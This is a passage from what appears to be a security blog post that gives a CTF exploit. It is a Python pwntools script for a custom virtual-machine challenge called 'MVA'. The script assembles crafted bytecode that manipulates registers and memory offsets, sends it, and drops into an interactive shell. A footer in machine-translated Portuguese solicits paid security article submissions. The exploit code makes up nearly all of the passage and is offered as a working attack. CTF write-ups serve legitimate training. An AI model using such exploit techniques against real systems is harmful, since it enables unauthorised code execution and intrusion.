return get_command(7, dest, xor1, xor2)
def push(reg, value):
if reg == 0:
return get_command(9, reg, 0, 0)
else:
return get_command(9, reg, value >> 8, value & 0xFF)
def pop(reg):
return get_command(10, reg, 0, 0)
def imul(dest, imul1, imul2):
return get_command(13, dest, imul1, imul2)
def mov(src, dest):
return get_command(14, src, dest, 0)
def print_top():
return get_command(15, 0, 0, 0)
def pwn():
io.recvuntil('[+] Welcome to MVA, input your code now :')
payload=movl(0,0x1)
payload+=imul(0,14,0)
payload+=movl(1,0x1)
payload+=imul(1,15,1)
payload+=movl(2,0x1)
payload+=imul(2,16,2)
payload+=movl(4,0x431)
payload+=add(0,0,4)
payload+=movl(4,0x14)
payload+=sub(1,1,4)
payload+=movl(4,0x8000)
payload+=mov(4,0xf9)
payload+=movl(4,0x10c)
payload+=mov(4,0xf6)
payload+=push(0,0)
payload+=mov(1,0)
payload+=push(0,0)
payload+=mov(2,0)
payload+=push(0,0)
payload=payload.ljust(0x100,'\x00')
# gdb.attach(io,'b *$rebase(0x0000000000001431)')
# pause()
io.send(payload)
io.interactive()
pwn()
Chamada para manuscritos originais
Chamada para artigos técnicos originais, bem-vindo ao postar
E-mail de envio: [email protected]
Tipo de artigo: tecnologia hacker geek, pontos de acesso de segurança da informação, pesquisa e análise de segurança, etc.
Se você passar na revisão e publicá-la, poderá obter uma remuneração que varia de 200 a 800 yuans.
Para mais detalhes, clique em mim para ver!
Prática de campo de tiro, clique em "Leia o texto original"